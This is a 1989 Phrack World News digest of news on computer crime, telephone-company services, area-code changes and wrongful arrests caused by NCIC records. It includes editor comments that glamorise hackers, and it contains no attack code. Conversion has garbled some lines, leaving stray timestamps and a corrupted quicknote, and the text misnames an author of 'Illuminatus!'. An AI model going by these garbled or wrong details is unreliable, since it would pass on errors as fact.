
Hold for additional information:

Hacker Tracker is unavailable right now; however, you may avoid possible arrest and/or prosecution by calling Hacker Tracker in person.

You may contact Mr. Tracker between the hours of 9:00 AM and 5:00 PM Eastern Standard Time, Monday - Friday, simply by dialing the access number you have just used and code number 101010 or 011010 if the access you have used requires a seven digit code. Just hold the line for 10 seconds and your call will automatically be routed to Mr. Tracker at no charge to you.

This is \*NOT\* a trick and it will be the intention of SouthernNet Inc. to settle this matter without involving law enforcement authorities if you cooperate with our fraud department 100%.

It will certainly be to your advantage to contact Mr. Tracker as this will reflect your own decision to assist and avoid prosecution by our company!!!

I'll be expecting your call.

Hacker Tracker

Hold a sec... Engaging Auto Page for Hacker Tracker...

- 50 seconds till disconnect
- 40 seconds till disconnect
- 30 seconds till disconnect
- 20 seconds till disconnect
- 10 seconds till disconnect
- 5 seconds till disconnect

NO CARRIER

[Do you think anyone believed this and actually called "Hacker Tracker?" -KL]

What's Happening: Computer Security Up

June 4, 1989

Taken from Gannett Westchester Newspapers

[Comments in brackets from Delta-Master]

High-tech companies are spending 64% more [than they previously spent] on computer security, according to a recent survey conducted by the National Center for Computer Crime Data in Los Angeles. The group surveyed 3,500 law enforcement agencies and computer security experts about computer crime. The prosecution rate is also up -- 6.4% in 1988 from only 2.4% during 1987.

Contrary to popular image, computer hackers aren't always young boys. The study found that 32% of those arrested for computer crimes were female, while

only 14% were under 21. The study said 45% of hackers were 25 to 30 years old. 

### Comments from Delta-Master

11.txt

I do not know about you people, but the public's confusion about hackers starts to bother me when they make errors. Seriously, I know of only a few hackers over the age of 21. The fact that the newspapers also equate the thug-like computer criminals with the mastermind-criminal type hacker (you guys) is also pretty annoying, wouldn't you agree? One key phrase you must note: "32% OF THOSE ARRESTED." Oh well, such are the mistakes of newspapers.

### Public Service Commission Bans Operator Companies

April 24, 1989

By Jerri Stroud (St. Louis Post-Dispatch)

The Missouri Public Service Commission voted 4-1 last week to ban providers of so-called alternative operator services in Missouri because allowing the companies to operate is "not in the public interest."

Alternative operator services companies contract with hotels, motels colleges, hospitals, airports, restaurants and other facilities to provide operator assistance to customers using pay telephones or house phones. Consumer groups have complained about price-gouging by the companies nationwide.

Mark Wheatley, a lawyer for the Office of Public Council, praised the commission's decision.

The Office of Public Council has received numerous complaints about excessive rates and surcharges by alternative operator services companies, said Wheatley. Some alternative operator services companies also have accepted other companies' credit cards without authorization from the companies issuing the cards, he said.

"We feel that it's an extremely important decision by the commission." said Wheatley. But he said he expects the companies affected by the ruling to appeal.

Lawyers for the alternative operator services companies could not be reached for comment.

In it's ruling, the commission said many consumers aren't aware of the rates charged by the alternative operator services companies until they receive "a bill for operator services at prices higher than those to which he is accustomed." Consumer groups say the rates often are twice or three times the rates charged by better-known long-distance companies.

Even if an operator service company identifies itself when a consumer makes a call, the commission said many consumers don't understand the significance of the identification.

"If the end user is not educated as to the intricacies of using an alternative operator services provider, he does not truly have a meaningful choice..." the commission said.

The ruling only affects intrastate calls handled by alternative operator services companies, but it may effectively prevent the companies from providing interstate service as well.

The commission specifically denied tariff requests from International Telecharge Inc. and American Operator Services Inc. The commission also directed three other companies -- Teleconnect Inc., Dial US, and Dial USA -- to file new tariffs consistent with the ruling.

The ruling allows companies to operate who provide operator services in connection with their business -- long-distance carriers and local telephone companies, for example. But the commission also placed limits on these companies.

Tue Oct 05 05:46:35 2021

Under the ruling, operator services companies must:

- $^{\star}$  Identify themselves to the caller as well as to the party being billed by the call (in the case of a collect or third-party call).
- \* Quote rates to the caller or billed party on request, without charge.
- \* Use calling card verification procedures acceptable to the companies issuing the cards.
- \* Post in a prominent position the company's name, detailed complaint procedures and instruction on how to reach the local telephone company operator and other long-distance carriers.
- \* Transfer emergency traffic to the local telephone company or American Telephone & Telegraph Co. until the alternative services provider can show that it can handle emergency calls adequately.

Fax Attack May 13, 1989

Taken from The Ann Arbor News

"Governor's Attempt To Ban Unsolicited Advertisements Backfires!"

HARTFORD, Conn - The great fax attack of 1989 -- an all-out lobbying campaign against a bill banning unsolicited facsimile advertising -- may have backfired when the governor's fax machine was jammed for hours with unwanted messages.

Starting Thursday, May 11, and continuing Friday, May 12, Governor William A. O'Neill's fax machine has been beeping constantly, spitting out unwanted messages from angry businesses that advertise by fax.

The businesses oppose a bill now awaiting O'Neill's signature that would prohibit them from marketing their products by fax without first obtaining the permission of the recipient. Violators would face a \$200 fine.

Starting Thursday morning, dozens of Connecticut businesses faxed to O'Neill's office a form letter arguing against the fax ban. The stream of fax messages was so constant (40 came in before 10 AM) that the governor's office turned off the fax machine Thursday (May 11).

O'Neill's press secretary, Jon. L. Sandberg, said the governor still hasn't decided whether he will sign the bill. But aides to the governor said the persistent lobbying campaign proved how annoying unwanted messages can be. inconvenience was compounded because the governor's office was unable to use its fax machine to receive information about spring flooding around the state.

# NYNEX Announces Info-Look Gateway

April 28, 1989

Introducing a new service for accessing information and more... all through your personal computer!

Starting in May 1989, New York Telephone's INFO-LOOK (tm) Gateway Service can be your link to accessing a variety of information, products and services.

The INFO-LOOK Gateway simplifies on-line computer access to a variety of information providers. When you call the Gateway phone number through your modem, you'll be able to scan a menu of information services.

The types of information services you may choose from include: Entertainment, business, health, food, news, weather, sports, travel, government, educational and reference information. The services, some interactive, are provided by independent companies.

The INFO-LOOK Gateway is easy to use -- even if you're relatively new to using a PC.

What you'll need to use the INFO-LOOK Gateway

- 1. Virtually any type of personal computer.
- 2. A modem (300, 1200, or 2400 Baud), and communications software. This enables your computer to communicate with other computers via the telephone system.
- 3. A New York Telephone Calling Card. If you need a New York Telephone Calling Card, (it's FREE), call your service representative whose number appears on page one of your New York Telephone bill.

Charges for using the INFO-LOOK Gateway

There are \*\* no \*\* Gateway enrollment fees and \*\* no \*\* monthly subscription charges. In most cases, you will be charged (New York people only):

- o A local call to reach the INFO-LOOK Gateway.
- o While you're browsing the Gateway directory of services, or moving between services, you pay \$.05 a minute.
- Once you connect to a service, the charge is determined by the Service Provider. Some services have a per-minute usage charge. Some services are free. The charges for each service are listed in the Gateway menu.

You'll find most charges itemized on your monthly New York Telephone bill. Some Service Providers may decide to bill you separately and directly for use of their services.

Call for more information:

To get your free INFO-LOOK Gateway information booklet call (toll- free) 1-800-338-2720, Ext. 20, any day from 9 a.m. to 11 p.m.

Note: New York Telephone does not provide or control the services offered through the INFO-LOOK Gateway Service. They are provided by independent companies, which are responsible for the content, character, and quality of their services.

The predictions run \$5 billion now and another \$5-10 billion by 1991.

[INFO-LOOK is already operating in Bell South and Bell Atlantic.]

### Pacific Bell Plans Access To Computers

June 9, 1989

Taken from Santa Cruz Sentinel (Section B)

SAN FRANCISCO (AP) -- Pacific Bell said Thursday it hopes to compete with the popularity of television by offering people easy access to computerized libraries, bulletin boards and the use of electronic mail.

PacBell's California On-line -- which will be available to anybody with a personal computer, telephone and calling card -- will be among the first in the nation to use a graphic-based system that simplifies procedures so only a rudimentary familiarity with computers is needed.

"It's going to offer our customers a supplement to their current leisure activities... and among other things we've seen (in trials) a lot of people who got away from the TV," said Roger P. Conrad, director of Videotex Gateway Services.

"We feel this is a more productive way for people to spend their lives and we think a lot of users are going to agree," he added. Users will pay "info-entrepreneurs" fees based on the time they use various services and will be billed on their monthly telephone statements. Unlike some on-line information services, users do not have to subscribe ahead of time.

Conrad said the types of services are limited only by vendors' imaginations. PacBell will make money by selling telecommunication line use to the companies.

Bulletin Boards Of Argentina

June 5, 1989

Country Code = 54 (Argentina)
City Code = 1 (Buenos Aires)

This list might be slightly incorrect due to the passage of time. The last update was on December 23, 1986.

| Name                  | Hours Of Operation | n ====== Number= |
|-----------------------|--------------------|------------------|
| Beta                  | 23:00 - 6:30       | 802-0288         |
| C-Mania               | 21:00 - 7:00       | 362-8843         |
| CBM                   | 16:00 - 12:00      | 90-4988          |
| Century 21            | 24 hours           | 632-7070         |
| Cerebruss             | 24 hours           | 47-2717          |
| Cerebruss Information | ?                  | 48-8300          |
|                       |                    | 48-9886          |
| Databank              | ?                  | 44-9760          |
| Drean Conection       | ?                  | 953-2523         |
| Los Pinos             | 13:00 - 19:00      | 21-0375          |
| Magenta               | ?                  | 392-0124         |
| Magenta               | ?                  | 392-0016         |
| Maxes                 | 23:00 - 7:00       | 542-2695         |
| Mendieta              | 22:00 - 8:00       |                  |
| Pirates Cove          | 24:00 - 6:00       |                  |
| Sanctuary             | 24:00 - 3:00       |                  |
| Soft-work             | 22:30 - 9:00       |                  |
| TCConection           | 19:00 - 12:00      | == -=-:          |
| The Connection        |                    | 82-5780          |
| The Hacker            |                    | 748-2005         |
| Tiger                 | ?                  | 784-2226         |
| XCASA                 | ?                  | 611-8136         |
| BBS-IOM               | 24 Hours           | 804-3602         |

Note: The settings for all systems listed above are Even, 7, 1.

Contributed by Noli

==Phrack Inc.==

Volume Three, Issue 27, File 12 of 12

| PWN | PWN |
|-----------------------------------------|-----|
| PWN                                     | PWN |
| PWN Phrack World News                   | PWN |
| PWN                                     | PWN |
| PWN Issue XXVII/Part 3                  | PWN |
| PWN                                     | PWN |
| PWN June 20, 1989                       | PWN |
| PWN                                     | PWN |
| PWN Created, Written, and Edited        | PWN |
| PWN by Knight Lightning                 | PWN |
| PWN                                     | PWN |
| PWN | PWN |

One of Cliff Stoll's "Wily Hackers" Is Dead (Suicide?)

June 5, 1989

According to West German publications, the "Wily Hacker" Karl Koch, of Hannover, West Germany, died Friday, June 3, probably by suicide. His body was found burnt (with gasoline) to death, in a forest near Celle (a West German town near Hannover where he committed his hacks, as had been observed by German Post).

Koch was one of the 2 hackers who confessed their role in the KGB hack to the public prosecutors, therewith bringing the case to public attention. As German newspapers report, he probably suffered from a psychic disease: He thought he was permanently observed by alien beings named Illimunates' which tried to kill him. Probably, he had internalized the role of "Captain Hagbard" (his pseudonym in the hacking scene), taken from a U.S. book, who (like him) suffered from supervision by the Illuminates. Police officials evidently think that Koch committed suicide (though it is believed, that there are "some circumstances" which may also support other theories; no precise information about such moments are reported).

According to German police experts, Karl Koch's role in the KGB case as in daily life can properly be understood when reading this unknown book.

[Illuminates... KGB... whatever... -KL]

Illuminatus!

June 14, 1989

The book in question is believed to be "Illuminatus!" by Harold Shea and Robert Anton Wilson. The book is a spoof on conspiracy theories, and suggests that many and probably all human institutions are just fronts for a small group of "enlightened ones," who are themselves a front for the Time dwarves from Reticuli Zeta, or perhaps Atlantean Adepts, remnants of Crowley's Golden Dawn, or even more likely the Lloigor of H.P. Lovecraft's Cthulhu Mythos. A leading character in this book is named Hagbard Celine.

"Illuminatus!" is a fun read if you like psychedelia and paranoia. It also seems to have influenced a lot of subsequent work, most notably Adams'
"Hitchhiker's Guide to the Galaxy." It is easy to see how an unbalanced mind, taking it literally, could be completely absorbed. In fact "Illuminatus!" seems as if it was written with the intent of just this sort of programming, referring to it as "Operation Mindfuck."

This is probably not a real danger for the vast majority of sane adults, but it may, tragically, have been the case here. Or perhaps, no disrespect intended, Koch may in the course of various hacks really have discovered too much about the Illuminati. After all, they are supposed to be the secret power behind the KGB :-)

For more information on Clifford Stoll and the Wily Hackers of West Germany, please see:

"Who Is Clifford Stoll?" (No Date) Phrack World News issue XXII/Part 1 "A Message From Clifford Stoll" (1/10/89) Phrack World News issue XXIII/Part 2

And the following articles all found in Phrack World News issue XXV/Part 2:

| "German Hackers Break Into Los Alamos and NASA"     | (3/2/89) |
|-----------------------------------------------------|----------|
| "Computer Espionage: Three 'Wily Hackers' Arrested" | (3/2/89) |
| "Computer Spy Ring Sold Top Secrets To Russia"      | (3/3/89) |
| "KGB Computer Break-Ins Alleged In West Germany"    | (3/3/89) |
| "News From The KGB/Wily Hackers"                    | (3/7/89) |

#### Sex Put On Probation By Mystery Hacker

June 13, 1989

Ft. Lauderdale News and Sun-Sentinel

"Yes, you sound very sexy, but I really need a probation officer."

DELRAY BEACH, Fla. -- Callers trying to dial a probation office in Delray Beach, Fla on Monday, June 12, heard a smorgasbord of sex talk from a panting woman named Tina instead.

Southern Bell telephone officials said a computer hacker reprogrammed their equipment over the weekend, routing overflow calls intended for the local probation office to a New York-based phone sex line.

"People are calling the Department of Corrections and getting some kind of sex palace," said Thomas Salgluff, a spokesman for the Palm Beach County probation office.

Southern Bell officials said it was the first time their switching equipment has been reprogrammed by an outside computer intruder. Southern Bell provides local telephone service in Florida, Georgia, North Carolina, and South Carolina.

"We're very alarmed," said Southern Bell spokesman Buck Passmore. He said such a feat would require someone with considerable computer knowledge.

The implications of such a computer breach are considerable. Intercepting corporate communications, uncovering unlisted phone numbers, and tampering with billing information are all plausible consequences of computer security breaches at the the phone company.

Hackers have invaded Southern Bell in the past, but they have never reprogrammed a telephone link, Passmore said.

Security technicians from Southern Bell and AT&T are trying to trace the source of the computer breach, Passmore said.

### Hacking For A Competitive Edge

May 12, 1989

Taken from the Los Angeles Times

Two former Tampa, FLA TV news managers have been charged with illegally tapping into phone lines and computers at another station to gain a news edge over their competitors. Former new director Terry Cole and assistant news director Michael Shapiro at WTSP-TV have been charged with 17 counts of computer hacking and conspiracy in the theft of information from WTVT-TV through computer phone lines, authorities said. Their arraignment was set for May 19.

If convicted, each could face a maximum prison sentence of 85 years. The two were fired from WTSP when the station learned of the alleged thefts. The break-ins began in November, 1988, but were not noticed until January 12, 1989, when WTVT's morning news producer noticed that files were missing, authorities said.

Computer experts determined that an intruder had rifled the files. Authorities said Shapiro knew WTVT's security system thoroughly because he had helped set it up while working there as an assignment manager before being hired away from WTVT in October.

# TV News Executives Fired After Hacking Charges From Rival

Tampa, Fla. -- A Florida television station fired two news executives in the wake of reports that one of them allegedly penetrated a rival station's computer system and stole sensitive information.

WTSP-TV (Channel 10), an ABC affiliate in St. Petersburg, announced that it had fired Assistant News Director Michael Shapiro and News Director Terry Cole.

Shapiro was arrested on February 7th on felony charges for allegedly breaking into a computer system at WTVT-TV (Channel 13) on at least six occasions in January. He was once employed by WTVT as an assistant manager and was responsible for administering the station's computer systems.

Law enforcement officials seized from Shapiro's home a personal computer, 200 floppy disks and an operating manual and user guide for software used at the rival station.

He has been charged with 14 felony counts under Florida Statute 815, which covers computer-related crimes. Each count carries a maximum sentence sentence of 15 years and a \$10,000 fine.

Vince Barresi, WSTP's vice-president and general manager, refused to comment on the two firings. However, in a prepared statement, he said that he told viewers during an 11 PM newscast last Tuesday that the station acted to "avoid any questions about the objective way we do our business in keeping the public informed."

Cole, who hired Shapiro last September, has not been charged by Florida law enforcement officials. He was fired, according to one source, because as director of the news room operations, he is held ultimately for the actions of news staffers. Shapiro and Cole were unavailable for comment.

[Another story that discussed this case was "Television Editor Charged In Raid On Rival's Files" (February 8, 1989). It appeared in Phrack World News Issue XXIV/Part 2. -KL1

National Crime Information Center Leads To Repeat False Arrest May 14, 198

by James Rainey (Los Angeles Times)

Mix ups with the databases at the NCIC have caused Roberto Perales Hernandez to be jailed twice in the last three years as a suspect in a 1985 Chicago residential burglary. The authorities confused him with another Roberto Hernandez due to a single entry in the FBI's National Crime Information Center computer.

The two Roberto Hernandezes are the same height, about the same weight, have brown hair, brown eyes, tattoos on their left arms, share the same birthday, and report Social Security numbers which differ by only one digit!

The falsely imprisoned man has filed suit charging the Hawthorne, California Police Department, Los Angeles County, and the state of California with false imprisonment, infliction of emotional distress, and civil rights violations stemming from the most recent arrest last year.

He had previously received a \$7,000 settlement from the county for holding him 12 days in 1986 before realizing he was the wrong man. In the latest incident, he was held for seven days then freed with no explanation.

12.txt

In his testimony on May 18, 1989 to the Subcommittee on Civil and Constitutional Rights of the Committee on the Judiciary of the U.S. House of Representatives, relating to the National Crime Information Center, David D. Redell cited another case of false incarceration concerning Roberto Perales Hernandez as well as various cases noted earlier -- such as that of Terry Dean Rogan [see below]:

"Only last week, a case in California demonstrated the potential benefit of easy access to stored images. Joseph O. Robertson had been arrested, extradited, charged, and sent to a state mental facility for 17 months. During that entire time, mug shots and fingerprints were already on file showing clearly that he was the wrong man, but no one had taken the trouble to check them."

These articles show clear examples of the damage and problems caused by this "super" database. People like William Bayse (Federal Bureau of Investigation's Director For Technical Services) and William Sessions (Director of the FBI) either fail to realize this or perhaps they just do not care (as long as something similar does not happen to them).

For those of you who are interested in looking into this further, the first article about this NCIC database was; "'Big Brotherish' Data Base Assailed," (November 21, 1988). It appeared in Phrack World News Issue XXII/Part 3.

Another incident similar to the cases mentioned above concerned Richard Lawrence Sklar, a political science professor at the University of California at Los Angeles. He was mistaken by the computer for a fugitive wanted in a real estate scam in Arizona. Before the FBI figured out that they had the incorrect person, Sklar, age 58, spent two days being strip searched, herded from one holding pen to another, and handcuffed to gang members and other violent offenders. For more details on this case and the case concerning Terry Dean Rogan, please refer to "FBI National Crime Information Center Data Bank," (February 13, 1989) which appeared in Phrack World News Issue XXIV/Part 2 (as well as the Washington Post).

# TRW and Social Security Administration

May 12, 1989

The credit bureau of TRW has been working with the Social Security Administration to verify its database of 140 million names and Social Security numbers. In order to cover the cost, TRW is paying the Social Security Administration \$1 million, while Social Security Administration will provide a matching \$1 million.

Since the Social Security Administration is asking for a budget increase for their computer and telecommunications systems, several legislators are outraged by the fact they they are spending \$1 million for this non-government project. Claiming that the project is "as far away from the mission of the Social Security Administration as anything I have ever come across," Senator David Pryor (D-Ark) questioned the competence and credibility of Social Security Administration Commissioner Dorcas R. Hardy and asked for an investigation by the HHS inspector general.

In addition, several lawmakers such as Dale Bumpers (D-Ark) believe the project to be a violation of civil liberties. Said Bumpers, "I don't like any public institution releasing an individual's private information." The American Law Division of the Congressional Research Service has already concluded that the project is a violation of the Privacy Act of 1974.

[A related article, "Verifying Social Security Numbers," (April 11, 1989) appeared in Phrack World News Issue XXVI/Part 3 (as well as the New York Times on the same date). -KL]

# Phrack World News XXVII Quicknotes

1. The current name assigned to the new network being created by the merger of BITNET and CSNET is ONENET.

2. NPA 903 Assigned to NE Texas (May 10, 1989) -- It was just announced that those portions of 214 outside Dallas will be changed to 903 in the Fall of 1990.

With 708 assigned to Chicago, 903 assigned to Texas, and 908 assigned to New Jersey, only 909 and 917 remain to be assigned before the format changes.

·

3. Details On New Area Code 510 (June 6, 1989) -- The press release from Pacific Bell, quoted in the San Francisco Chronicle, gives the phase-in dates for the new NPA 510.

Inception is scheduled for October 7, 1991, with a four-month grace period when NPA 415 will still work for the affected numbers. Final cutover is scheduled for January 27, 1992.

NPA 510 will encompass Alameda and Contra Costa counties, which currently have 842,388 customers out of the current 2,005,687 customers in NPA 415.

4. New Jersey Area Code To Be Split (April 27, 1989) -- The split is not supposed to occur until 1991. The new NPA will be 908 and it will basically cover the southern "half" of the current 201 area. The affected counties will be Warren, Hunterdon, Middlesex, Union, Monmouth and Ocean, and the southwest corner of Morris). Counties remaining in 201 will be Sussex, Passaic, Bergen, Essex, Hudson, and the majority of Morris.

New Jersey Bell will also start requiring area codes on calls into New York and Pennsylvania that have been considered part of New Jersey local calling areas. This will apparently take effect October 2 and free up about 25 exchanges. Information from the Asbury Park Press.

[This last line somewhat contradicts the first line as far as the dates are concerned. More information as we get it. -- KL.]

5. New Area Codes For London (April 27, 1989) -- British Telecom has announced that the area code for London is to be changed on May 6th, 1990, due to the increased number of lines needed in the capital.

The existing code is 01-, and the new codes to be introduced are 071- for the centre of the city and 081- for the suburbs. A list was published in the Evening Standard, showing which exchanges will fall in which area.

\_\_\_\_\_\_

6. Member Learns The Hard Way: American Express Is Watching (May 4, 1989) -This article taken from the San Jose Mercury News describes how American
Express called a member to voice their concern that he might not be able to
pay his recent bill. American Express was able to access his checking
account and find that he had less than what was owed to them. His card was
temporarily "deactivated" after the member refused to give any financial
information except that he would pay up the bill with cash when it came in.

Apparently, the card application, in finer print, declares that "[American Express reserves] the right to access accounts to ascertain whether you are able to pay the balance." After some arguments with the company, the member comments that "I learned a lesson: My life is not as private as I thought."

- 7. Southwestern Bell's QuickSource (April 24, 1989) -- Southwestern Bell Telephone Company is running a one year trial (March 1989 89 March 1990) of two information services: QuickSource (audiotex) and Sourceline (videotext). The latter requires a terminal of some type, but the former only requires a touch-tone phone for access. The QuickSource number is 323-2000, but cannot be accessed via 1+713+; SWBTCo has blocked access to "the Houston metro area served by SWBTCo," according to the script the woman reads to you when ask for help (713-865-5777; not blocked). The help desk will send you a free QuickSource directory though.
- 8. Telemail, MCI, AT&T Mail Interconnection (May 16, 1989) -- U.S. Sprint's subsidiary, Telenet has announced an interconnection agreement between Telemail, Telenet's electronic mail product, MCI Mail, and AT&T Mail.

12.txt

The new arrangement, scheduled to be in effect later this summer, will allow the 300,000 worldwide users of Telemail, the 100,000 users of MCI Mail and the 50,000 users of AT&T Mail to conveniently send email messages to each other.

0 Things Poll Macked Out For Four Hound (Mar 10 1000) Commiss to order

9. Illinois Bell Knocked Out For Four Hours! (May 18,1989) -- Service to over 40,000 Illinois Bell subscribers in the northwest suburbs of Chicago was disrupted for about four hours because of problems with the computer in the switching center.

Phones were either dead or inoperative for incoming and outgoing calls between 9:30 a.m. and 1:40 p.m. because of a software glitch at the central office in Hoffman Estates, IL. Most of the disruption occurred in Hoffman Estates, Schaumburg, Arlington Heights, Hanover Park, and Streamwood, IL.

The exact nature of the problem was not discussed by the Bell spokesman who reported that the outage had been corrected. Apparently the backup system which is supposed to kick in also failed.

10. SRI Attacked By Kamikaze Squirrels (May 29, 1989) -- It seems that the Data Defense Network SRI's "no-single-point-of-failure" power system failed at the hands, or rather the paws, of a squirrel. The power was off for approximately 9 hours and they experienced no hardware problems. This was at least the third time that a squirrel has done SRI in.

11. New York Telephone Freebies (June 10, 1989) (San Francisco Chronicle, p. 2.) — 24 pay phones along the Long Island Expressway were in fact free phones because of a programming/database screw-up. They were being heavily used for long distance calls by those who had discovered the oversight, including many to Pakistan (Police found 15 Pakistani men using the phones when they went to investigate after a shooting). There were no estimates on the unrecovered cost of the phone calls.

\*\*\* END \*\*\*